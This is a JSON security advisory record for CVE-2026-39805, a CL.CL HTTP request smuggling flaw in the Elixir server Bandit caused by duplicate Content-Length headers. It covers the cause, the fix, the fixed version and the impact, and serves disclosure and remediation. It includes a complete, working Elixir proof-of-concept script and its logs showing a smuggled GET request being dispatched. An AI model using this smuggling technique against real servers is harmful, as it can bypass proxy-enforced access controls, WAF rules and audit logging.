{"id":"CVE-2026-39805","aliases":["EEF-CVE-2026-39805","GHSA-c67r-gc9j-2qf7"],"url":"https://o3.security/vulnerability/CVE-2026-39805","summary":"CL.CL HTTP request smuggling via duplicate Content-Length in bandit","details":"### Summary\n\nBandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two `Content-Length` headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like `Content-Length`, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid `Content-Length` as an unrecoverable framing error. When Bandit sits behind a proxy that picks the *last* `Content-Length` and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.\n\nThe vulnerability was introduced prior to `v0.1.0 (released Nov 5, 2020)` on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af\n\n### Details\n\n`Bandit.Headers.get_content_length/1` (`lib/bandit/headers.ex`) calls `List.keyfind/3`, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (`Content-Length: 0, 43`) when values differ; the bug is that the multi-line form never reaches that check.\n\n**Fix:** collect every `Content-Length` value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case.\n\n### PoC\n\nThe script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with `Content-Length: 0` followed by `Content-Length: 43` and a 43-byte body containing a valid `GET /smuggled HTTP/1.1` request line. Run with `elixir script.exs`\n\nOn Bandit 1.10.4 / Elixir 1.18, default config: two `200 OK` responses on the same TCP connection. First body `method=POST path=/`, second body `method=GET path=/smuggled`. Bandit accepted the malformed request and dispatched the embedded request line as a second request.\n\n### Impact\n\nSpec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.\n\nThe application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.\n\nReal exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections.\n\nMost major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.\n\n- Bandit directly on the internet: spec violation, no exploit.\n- Bandit behind a major CDN/LB: almost certainly safe.\n- Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.\n\nWorth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed.\n\n### Script and Logs\n\n```elixir\n# Bandit HTTP/1 duplicate Content-Length first-wins PoC.\n#\n# Bandit.Headers.get_content_length/1 calls List.keyfind/3, which returns the\n# first Content-Length value and silently ignores additional Content-Length\n# entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error\n# and says the recipient MUST treat it as such.\n#\n# This is the classic CL.CL request-smuggling primitive. If a fronting proxy\n# uses the *last* Content-Length while Bandit uses the first (or vice versa),\n# the second \"request\" embedded in the first request's body gets dispatched\n# as a new request on the same keep-alive connection - after the proxy has\n# already applied its access controls.\n#\n# Run: elixir scripts/bandit/http1_duplicate_content_length.exs\n\nMix.install([\n  {:bandit, \"~> 1.10\"},\n  {:plug, \"~> 1.19\"}\n])\n\ndefmodule DemoApp do\n  @behaviour Plug\n\n  import Plug.Conn\n\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    send_resp(conn, 200, \"method=#{conn.method} path=#{conn.request_path}\\n\")\n  end\nend\n\ndefmodule Smuggle do\n  @port 4321\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    request = build_smuggling_request()\n    log(\"Sending #{byte_size(request)}-byte CL.CL request:\\n#{request}\")\n\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n    :ok = :gen_tcp.send(sock, request)\n\n    response = read_all(sock)\n    :gen_tcp.close(sock)\n\n    log(\"Response stream:\\n#{response}\")\n    diagnose(response)\n  end\n\n  # POST with two Content-Length headers, plus a smuggled GET line in the\n  # body. A CL-last frontend would forward the body bytes; Bandit (CL-first)\n  # reads 0 bytes per Content-Length: 0, replies, and the smuggled request\n  # line either gets parsed as a new request on the keep-alive connection\n  # or stays in the buffer.\n  defp build_smuggling_request do\n    smuggled_request = \"GET /smuggled HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\n\\r\\n\"\n    smuggled_size = byte_size(smuggled_request)\n\n    \"POST / HTTP/1.1\\r\\n\" <>\n      \"Host: 127.0.0.1\\r\\n\" <>\n      \"Content-Length: 0\\r\\n\" <>\n      \"Content-Length: #{smuggled_size}\\r\\n\" <>\n      \"\\r\\n\" <>\n      smuggled_request\n  end\n\n  defp read_all(sock, accumulated \\\\ \"\") do\n    case :gen_tcp.recv(sock, 0, 2_000) do\n      {:ok, bytes} -> read_all(sock, accumulated <> bytes)\n      {:error, _reason} -> accumulated\n    end\n  end\n\n  # Three observable outcomes:\n  #   - 400 Bad Request -> RFC-conformant rejection (not what current\n  #     Bandit does).\n  #   - Two responses, second one for /smuggled -> Bandit dispatched the\n  #     smuggled request as a second pipelined request.\n  #   - One response -> Bandit accepted Content-Length: 0, the smuggled\n  #     bytes sat in the keep-alive buffer; with a CL-last frontend this\n  #     becomes a smuggled request on the next request boundary.\n  defp diagnose(response) do\n    response_lines = Regex.scan(~r/^HTTP\\/1\\.[01] \\d{3}[^\\r\\n]*/m, response) |> List.flatten()\n    log(\"HTTP/1.x response lines observed: #{length(response_lines)}\")\n    Enum.each(response_lines, fn line -> log(\"  #{line}\") end)\n\n    cond do\n      response =~ ~r/^HTTP\\/1\\.[01] 400/ ->\n        log(\"OK: Bandit rejected duplicate Content-Length (RFC 9112 §6.3 conformant).\")\n\n      response =~ \"/smuggled\" ->\n        log(\"VULNERABLE: smuggled GET /smuggled was processed as a second request.\")\n\n      length(response_lines) == 1 ->\n        log(\"ACCEPTED: Bandit took the first Content-Length (0) and left the\")\n        log(\"smuggled request line in the keep-alive buffer. Combined with a\")\n        log(\"CL-last frontend this becomes request smuggling.\")\n\n      true ->\n        log(\"Inconclusive - see raw response above.\")\n    end\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}\")\nend\n\nSmuggle.run()\n```\n\n```logs\n11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[09:52:23.039] Sending 118-byte CL.CL request:\nPOST / HTTP/1.1\nHost: 127.0.0.1\nContent-Length: 0\nContent-Length: 43\n\nGET /smuggled HTTP/1.1\nHost: 127.0.0.1\n\n\n[09:52:25.057] Response stream:\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 09:52:22 GMT\ncontent-length: 19\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nmethod=POST path=/\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 09:52:22 GMT\ncontent-length: 26\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nmethod=GET path=/smuggled\n\n[09:52:25.057] HTTP/1.x response lines observed: 2\n[09:52:25.057]   HTTP/1.1 200 OK\n[09:52:25.057]   HTTP/1.1 200 OK\n[09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request.\n```","published":"2026-05-01T20:34:29.400Z","modified":"2026-08-12T03:51:23.292249304Z","cvss":null,"epss":{"score":0.00518,"percentile":0.41664,"asOf":"2026-08-15"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Hex","name":"bandit","fixedVersion":"1.11.0"}],"fix":{"url":"https://github.com/mtrudel/bandit/commit/f2ca636eb6df385219957e8934e9fc6efa1630d1","label":"mtrudel/bandit@f2ca636"},"references":[{"type":"WEB","url":"https://cna.erlef.org/cves/CVE-2026-39805.html"},{"type":"WEB","url":"https://github.com"},{"type":"WEB","url":"https://osv.dev/vulnerability/EEF-CVE-2026-39805"},{"type":"WEB","url":"https://repo.hex.pm"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39805.json"},{"type":"ADVISORY","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-c67r-gc9j-2qf7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39805"},{"type":"FIX","url":"https://github.com/mtrudel/bandit/commit/f2ca636eb6df385219957e8934e9fc6efa1630d1"},{"type":"PACKAGE","url":"https://github.com/mtrudel/bandit"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:23.292249304Z"}}